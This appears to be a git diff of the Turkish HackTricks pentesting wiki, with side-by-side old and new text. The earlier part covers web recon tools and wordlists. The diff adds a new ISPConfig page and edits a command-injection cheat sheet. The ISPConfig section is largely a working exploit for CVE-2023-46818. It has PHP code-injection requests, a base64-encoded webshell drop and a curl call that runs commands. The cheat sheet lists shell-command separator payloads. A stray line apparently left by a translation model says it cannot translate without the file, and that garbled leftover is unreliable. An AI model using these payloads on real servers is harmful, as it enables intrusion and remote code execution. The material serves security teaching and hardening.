- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL'leri, yolları, gizli bilgileri ve JavaScript kaynak kodundan diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice). - [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript kaynak kodundan URL'ler, path'ler, secret'lar ve diğer ilginç verileri çıkarmak için bir Go paketi ve [komut-satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, **fuzzing** ve **enumeration** için özel kelime listesi oluşturmak amacıyla istekten parametreleri ve uç noktaları **çıkarmak için** basit bir **Burp Suite uzantısıdır**. - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, fuzzing ve enumeration için özel wordlist oluşturmak amacıyla isteklerden parametreleri ve endpoint'leri çıkarmak üzere basit bir Burp Suite extension'ıdır.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Bunun için harika bir araç. - [**katana**](https://github.com/projectdiscovery/katana) (go): Bunun için harika bir araç.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her bağlantıyı yazdırır. - [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her linki yazdırır.
### Brute Force dizinleri ve dosyaları ### Brute Force directories and files
Kök klasörden **brute-forcing** yapmaya başlayın ve **bu yöntemle bulunan** tüm **dizinleri** ve **Spidering** ile **keşfedilen** tüm dizinleri brute-force yapmayı unutmayın (bu brute-forcing'i **özyinelemeli** olarak yapabilir ve kullanılan kelime listesinin başına bulunan dizinlerin adlarını ekleyebilirsiniz).\ Kök dizinden **brute-forcing** ile başlayın ve bu yöntemle bulunan tüm dizinleri ve **Spidering** ile keşfedilen tüm dizinleri **brute-force** yaptığınızdan emin olun (bunu **rekürsif** olarak yapabilir ve bulunan dizinlerin adlarını kullanılan wordlist'in başına ekleyebilirsiniz).\
Araçlar: Tools:
- **Dirb** / **Dirbuster** - Kali'de dahil, **eski** (ve **yavaş**) ama işlevsel. Otomatik imzalı sertifikalara ve özyinelemeli aramaya izin verir. Diğer seçeneklere göre çok yavaş. - **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Auto-signed sertifikalara izin verir ve recursive arama yapar. Diğer seçeneklere göre çok yavaş.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Otomatik imzalı sertifikalara izin vermez ama** özyinelemeli aramaya izin verir. - [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Auto-signed sertifikalara izin vermez ama recursive aramaya izin verir.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Otomatik imzalı sertifikalara izin verir, **özyinelemeli** arama **yapmaz**. - [**Gobuster**](https://github.com/OJ/gobuster) (go): Auto-signed sertifikalara izin verir; **recursive** arama yok.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, özyinelemeli aramayı destekler.** - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değildir ama bulunan URL'lerin listesini vererek "tekrarlanan" URL'leri siler. - [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değil; bulunan URL listesini alıp "çift" URL'leri silen bir araç.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden dizinler oluşturmak için Burp Uzantısı. - [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension; farklı sayfaların burp geçmişinden dizin listesi oluşturur.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): İşlevselliği tekrarlanan URL'leri kaldırır (js importlarına dayalı). - [**TrashCompactor**](https://github.com/michael1026/trashcompactor): JS import'larına göre fonksiyonu tekrar eden URL'leri kaldırır.
- [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek için wapalyzer kullanır ve kullanılacak kelime listelerini seçer. - [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek ve kullanılacak wordlist'leri seçmek için wapalyzer kullanır.
**Tavsiye edilen sözlükler:** **Recommended dictionaries:**
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** dahil sözlük](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) - [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
- [Assetnote kelime listeleri](https://wordlists.assetnote.io) - [Assetnote wordlists](https://wordlists.assetnote.io)
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
- raft-large-directories-lowercase.txt - raft-large-directories-lowercase.txt
- directory-list-2.3-medium.txt - directory-list-2.3-medium.txt
@ -266,81 +268,83 @@ Araçlar:
- _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu dizin de Brute-Forced edilmelidir._ _Not: Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin mutlaka brute-force edilmelidir._
### Bulunan her dosyada kontrol edilecekler ### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilme riski taşıyan HTML'ler içindeki bozuk bağlantıları bulur. - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML içindeki kırık linkleri bulur; takeover'a açık olabilecek linkleri tespit eder.
- **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm çalıştırılabilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedek dosyası adlandırmak için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** aracını kullanabilirsiniz.** - **File Backups**: Tüm dosyaları bulduktan sonra, yürütülebilir dosyaların (".php", ".aspx"...) yedeklerini arayın. Yedekleme için yaygın isimlendirme çeşitleri: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) veya [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) araçlarını kullanabilirsiniz.
- **Yeni parametreleri keşfetmek**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her çalıştırılabilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz.** - **Discover new parameters**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun), [**parameth**](https://github.com/maK-/parameth), [**x8**](https://github.com/sh1yo/x8) ve [**Param Miner**](https://github.com/PortSwigger/param-miner) gibi araçlar kullanılabilir. Mümkünse her yürütülebilir web dosyasında gizli parametreleri aramaya çalışın.
- _Arjun tüm varsayılan kelime listeleri:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Yorumlar:** Tüm dosyaların yorumlarını kontrol edin, **kimlik bilgileri** veya **gizli işlevsellik** bulabilirsiniz. - **Comments:** Tüm dosyaların yorumlarını kontrol edin; credential'lar veya gizli fonksiyonlar bulunabilir.
- Eğer **CTF** oynuyorsanız, "yaygın" bir hile, sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda verileri göremeyeceğiniz kadar **birçok** **boşluk** kullanarak) **bilgileri gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve **bilgileri** web sayfasının **altında** bir yorumda gizlemektir. - Eğer **CTF** oynuyorsanız, yaygın bir hile sayfa kaynağında sayfanın sağ tarafına (çokça boşluk kullanarak) veya sayfanın en altına bir yorum içinde bilgi saklamaktır; tarayıcıda görüntülemek zor olabilir.
- **API anahtarları**: Eğer **herhangi bir API anahtarı** bulursanız, farklı platformların API anahtarlarını nasıl kullanacağınızı belirten bir kılavuz vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) - **API keys**: Bir API key bulursanız, farklı platformlardaki API key'lerin nasıl kullanılacağını gösteren rehberler var: [**keyhacks**](https://github.com/streaak/keyhacks), [**zile**](https://github.com/xyele/zile.git), [**truffleHog**](https://github.com/trufflesecurity/truffleHog), [**SecretFinder**](https://github.com/m4ll0k/SecretFinder), [**RegHex**](<https://github.com/l4yton/RegHex)/>), [**DumpsterDive**](https://github.com/securing/DumpsterDiver), [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API anahtarları: Eğer **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik gibi görünen bir API anahtarı bulursanız, anahtarın erişebileceği API'leri kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz. - Google API keys: **AIza** ile başlayan bir API key bulursanız (ör. **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik), hangi API'lere erişimi olduğunu kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz.
- **S3 Buckets**: Spidering yaparken herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket**'ları ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini** kontrol edin](buckets/index.html). - **S3 Buckets**: Spidering sırasında herhangi bir subdomain veya link'in bir S3 bucket ile ilişkili olup olmadığını kontrol edin. Böyle bir durum varsa, bucket'ın [**permissions**'ını kontrol edin](buckets/index.html).
### Özel bulgular ### Special findings
**Spidering** ve **brute-forcing** yaparken, **dikkat etmeniz gereken** **ilginç** **şeyler** bulabilirsiniz. **Spidering** ve **brute-forcing** gerçekleştirirken dikkat etmeniz gereken ilginç bulgularla karşılaşabilirsiniz.
**İlginç dosyalar** **Interesting files**
- **CSS** dosyaları içinde diğer dosyalara **bağlantılar** arayın. - CSS dosyaları içinde diğer dosyalara yapılan **link**leri arayın.
- [Eğer bir _**.git**_ dosyası bulursanız, bazı bilgiler çıkarılabilir](git.md) - [Eğer bir _**.git**_ dosyası bulursanız bazı bilgiler çıkarılabilir](git.md)
- Eğer bir _**.env**_ bulursanız, API anahtarları, veritabanı şifreleri ve diğer bilgiler bulunabilir. - Eğer bir _**.env**_ dosyası bulursanız API key'ler, DB parolaları ve diğer bilgileri içerebilir.
- Eğer **API uç noktaları** bulursanız, [bunları da test etmelisiniz](web-api-pentesting.md). Bunlar dosya değildir, ama muhtemelen "dosya gibi" görüneceklerdir. - Eğer **API endpoints** bulursanız bunları [test etmelisiniz](web-api-pentesting.md). Bunlar dosya olmayabilir ama dosya gibi görünebilirler.
- **JS dosyaları**: Spidering bölümünde, JS dosyalarından yol çıkarabilen birkaç araçtan bahsedilmiştir. Ayrıca, bulunan her JS dosyasını **izlemek** de ilginç olacaktır, çünkü bazı durumlarda, bir değişiklik, kodda potansiyel bir zafiyetin tanıtıldığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)**'u** kullanabilirsiniz. - **JS files**: Spidering bölümünde JS dosyalarından path çıkarabilen birçok araç listelendi. Ayrıca bulunan her JS dosyasını izlemek ilginç olabilir; bazı durumlarda bir değişiklik kodda yeni bir zafiyetin ortaya çıktığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon) kullanılabilir.
- Bulunan JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol ederek zayıf olup olmadığını bulmalısınız. - Bulunan JS dosyalarını zafiyet için kontrol etmek üzere [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile tarayın.
- **Javascript Deobfuscator ve Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (karakterlerle javascript: "\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- Birçok durumda, kullanılan **düzenli ifadeleri** **anlamanız** gerekecek. Bu faydalı olacaktır: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex) - Birçok durumda kullanılan regular expression'ları anlamanız gerekir. Bunun için faydalı kaynaklar: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex)
- Ayrıca, **formların tespit edildiği dosyaları** izlemelisiniz, çünkü bir parametredeki değişiklik veya yeni bir formun görünmesi, potansiyel yeni bir zayıf işlevselliği gösterebilir. - Form tespit edilen dosyaları da izleyebilirsiniz; parametredeki bir değişiklik veya yeni bir formun ortaya çıkması potansiyel bir yeni zafiyeti gösterebilir.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
**403 Yasaklı/Temel Kimlik Doğrulama/401 Yetkisiz (bypass)**
{{#ref}} {{#ref}}
403-and-401-bypasses.md 403-and-401-bypasses.md
{{#endref}} {{#endref}}
**502 Proxy Hatası** **502 Proxy Error**
Eğer herhangi bir sayfa bu **kodla** **yanıt veriyorsa**, muhtemelen **kötü yapılandırılmış bir proxy** vardır. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_ **erişmeye çalışacak** ve bir **SSRF** bulmuş olacaksınız. Eğer herhangi bir sayfa bu kodla cevap veriyorsa muhtemelen yanlış yapılandırılmış bir proxy söz konusudur. Eğer şu şekilde bir HTTP isteği gönderirseniz: `GET https://google.com HTTP/1.1` (host header ve diğer yaygın header'lar ile), proxy _google.com_'a erişmeye çalışacak ve böylece bir SSRF bulmuş olabilirsiniz.
**NTLM Kimlik Doğrulama - Bilgi ifşası** **NTLM Authentication - Info disclosure**
Eğer çalışan sunucu kimlik doğrulama istiyorsa **Windows** ise veya **kimlik bilgilerinizi** isteyen bir giriş bulursanız (ve **alan adı** istiyorsa), bir **bilgi ifşası** tetikleyebilirsiniz.\ Eğer authentication isteyen sunucu **Windows** ise veya domain adı soran bir login görürseniz, bilgi sızması provokasyonu yapılabilir.\
**Header'ı gönderin**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve **NTLM kimlik doğrulamanın** nasıl çalıştığı nedeniyle, sunucu "WWW-Authenticate" başlığında iç bilgi (IIS versiyonu, Windows versiyonu...) ile yanıt verecektir.\ Şu header'ı gönderin: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve NTLM authentication'ın çalışma şekli nedeniyle sunucu "WWW-Authenticate" header'ında iç ağ bilgilerini (IIS sürümü, Windows sürümü...) döndürebilir.\
Bunu **nmap eklentisi** "_http-ntlm-info.nse_" kullanarak otomatikleştirebilirsiniz. Bunu otomatikleştirmek için nmap plugin'i "_http-ntlm-info.nse_" kullanılabilir.
**HTTP Yönlendirme (CTF)** **HTTP Redirect (CTF)**
Bir **Yönlendirme** içinde **içerik** **yerleştirmek** mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama içinde **gizli** bir şey olabilir. Bir Redirection içine içerik koymak mümkündür. Bu içerik kullanıcıya gösterilmeyecektir (tarayıcı yönlendirmeyi uygulayacağı için) ancak içeriğe gizli bilgi yerleştirilebilir.
### Web Zafiyetlerini Kontrol Etme ### Web Vulnerabilities Checking
Web uygulamasının kapsamlı bir enumerate işlemi yapıldıktan sonra birçok olası zafiyeti kontrol etme zamanı gelmiştir. Kontrol listesi burada bulunabilir:
Artık web uygulamasının kapsamlı bir envanteri alındığına göre, birçok olası zafiyeti kontrol etme zamanı. Kontrol listesini burada bulabilirsiniz:
{{#ref}} {{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md ../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}} {{#endref}}
Web zafiyetleri hakkında daha fazla bilgi için: Web zafiyetleri hakkında daha fazla bilgi:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection) - [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
### Sayfaları değişiklikler için izleme ### Monitor Pages for changes
Vulnerabiliteleri ekleyebilecek değişiklikler için sayfaları izlemek üzere [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçları kullanabilirsiniz. Sayfalardaki değişiklikleri izlemek için [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçlar kullanılabilir; bu sayede yapılacak değişiklikler yeni zafiyetler ekleyebilir.
### HackTricks Otomatik Komutlar ### HackTricks Automatic Commands
``` ```
Protocol_Name: Web #Protocol Abbreviation if there is one. Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one. Port_Number: 80,443 #Comma separated if there is more than one.

View File

@ -0,0 +1,91 @@
# ISPConfig
{{#include ../../banners/hacktricks-training.md}}
## Genel Bakış
ISPConfig, açık kaynaklı bir hosting kontrol panelidir. Eski 3.2.x sürümleri, süper yönetici için etkinleştirildiğinde hatalı bir çeviri kaydı aracılığıyla rastgele PHP kodu enjeksiyonuna izin veren bir dil dosyası düzenleyici özelliğini içeriyordu. Bu, web sunucusu bağlamında RCE'ye yol açabilir ve PHP'nin nasıl çalıştırıldığına bağlı olarak ayrıcalık yükseltmesine neden olabilir.
Önemli varsayılan yollar:
- Web root genellikle `php -S` ile servis edildiğinde veya Apache/nginx aracılığıyla `/var/www/ispconfig` konumunda olur.
- Admin UI, HTTP(S) vhost üzerinde erişilebilir (bazen yalnızca localhost'a bağlı olabilir; gerekiyorsa SSH port-forward kullanın).
İpucu: Panel yerel olarak bağlıysa (ör. `127.0.0.1:8080`), erişim için port-forward yapın:
```bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
```
## Language editor PHP code injection (CVE-2023-46818)
- Etkilenen: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Önkoşullar:
- Yerleşik superadmin hesabı `admin` ile giriş yapın (satıcıya göre diğer roller etkilenmez)
- Dil düzenleyicinin etkinleştirilmiş olması gerekir: `/usr/local/ispconfig/security/security_settings.ini` dosyasında `admin_allow_langedit=yes`
- Etkisi: Kimlik doğrulanmış admin, bir dil dosyasına yazılan ve uygulama tarafından çalıştırılan keyfi PHP enjekte edebilir; bu, web bağlamında RCE elde edilmesine yol açar
Referanslar: NVD girişi CVE-2023-46818 ve aşağıdaki References bölümündeki satıcı bildirimi bağlantısı.
### Manuel istismar akışı
1) CSRF token'larını elde etmek için bir dil dosyasıın/oluşturun
Formu başlatmak için ilk POST'u gönderin ve HTML yanıtından CSRF alanlarını (`csrf_id`, `csrf_key`) ayrıştırın. Örnek istek yolu: `/admin/language_edit.php`.
2) records[] aracılığıyla PHP enjekte edin ve kaydedin
CSRF alanlarını ve kötü niyetli bir çeviri kaydını içeren ikinci POST'u gönderin. Minimal komut yürütme denemeleri:
```http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
```
Bant-dışı test (ICMP'yi gözlemle):
```http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
```
3) Dosya yazma ve webshell bırakma
Web'e erişilebilir bir dizin (örn., `admin/`) altında bir dosya oluşturmak için `file_put_contents` kullanın:
```http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
```
Ardından POST body içindeki kötü karakterlerden kaçınmak için base64 kullanan basit bir webshell yazın:
```http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
```
Çevirmemi istediğiniz src/network-services-pentesting/pentesting-web/ispconfig.md dosyasının içeriğini gönderin. İçerik olmadan çeviri yapamam.
```bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
```
Eğer PHP root olarak çalıştırılırsa (ör. `php -S 127.0.0.1:8080` root tarafından başlatıldıysa), bu anında root RCE sağlar. Aksi takdirde, web sunucusu kullanıcısı olarak kod yürütme elde edersiniz.
### Python PoC
Kullanıma hazır bir exploit, token yönetimini ve payload teslimatını otomatikleştirir:
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
Örnek çalıştırma:
```bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
```
### Sertleştirme
- 3.2.11p1 veya daha yeni sürüme yükseltin
- Kesinlikle gerekmedikçe dil düzenleyicisini devre dışı bırakın:
```
admin_allow_langedit=no
```
- Paneli root olarak çalıştırmaktan kaçının; ayrıcalıkları düşürmek için PHP-FPM veya web sunucusunu yapılandırın
- Yerleşik `admin` hesabı için güçlü kimlik doğrulamayı zorunlu kılın
## Referanslar
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
- [CVE-2023-46818 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,15 +2,15 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Command Injection Nedir? ## command Injection nedir?
Bir **command injection**, bir saldırganın bir uygulamayı barındıran sunucuda rastgele işletim sistemi komutlarını çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen tehlikeye girebilir. Bu komutların yürütülmesi genellikle saldırgana uygulamanın ortamına ve temel sisteme yetkisiz erişim veya kontrol sağlama imkanı tanır. Bir **command injection**, bir uygulamayı barındıran sunucuda bir saldırganın rastgele işletim sistemi komutlarını çalıştırmasına izin verir. Bunun sonucunda uygulama ve tüm verileri tamamen ele geçirilebilir. Bu komutların çalıştırılması genellikle saldırganın uygulamanın ortamı ve altında yatan sistem üzerinde yetkisiz erişim veya kontrol elde etmesine olanak sağlar.
### Bağlam ### Bağlam
**Girdiğiniz yerin nereye enjekte edildiğine** bağlı olarak, komutlardan önce **alıntı yapılan bağlamı sonlandırmanız** gerekebilir ( `"` veya `'` kullanarak). Girişinizin **nereye enjekte edildiğine** bağlı olarak, komutları çalıştırmadan önce **alıntılanmış bağlamı sonlandırmanız** (using `"` or `'`) gerekebilir.
## Command Injection/Yürütme ## Command Injection/Execution
```bash ```bash
#Both Unix and Windows supported #Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both ls||id; ls ||id; ls|| id; ls || id # Execute both
@ -18,6 +18,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED) ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported #Only unix supported
`ls` # `` `ls` # ``
@ -29,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file > /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command < /etc/passwd #Try to send some input to the command
``` ```
### **Limitation** Bypassları ### **Limition** Bypass'ları
Eğer bir **linux makinesi içinde keyfi komutlar çalıştırmaya** çalışıyorsanız, bu **Bypasslar** hakkında okumak ilginizi çekebilir: Bir linux makinesinde **keyfi komutlar çalıştırmayı** deniyorsanız, bu **Bypass'lar** hakkında okumak ilginizi çekecektir:
{{#ref}} {{#ref}}
@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
``` ```
### Parametreler ### Parametreler
İşte kod enjeksiyonuna ve benzeri RCE zafiyetlerine karşı savunmasız olabilecek en iyi 25 parametre (from [link](https://twitter.com/trbughunters/status/1283133356922884096)): Aşağıda code injection ve benzeri RCE açıklarına açık olabilecek en yaygın 25 parametre yer alıyor (kaynak: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
``` ```
?cmd={payload} ?cmd={payload}
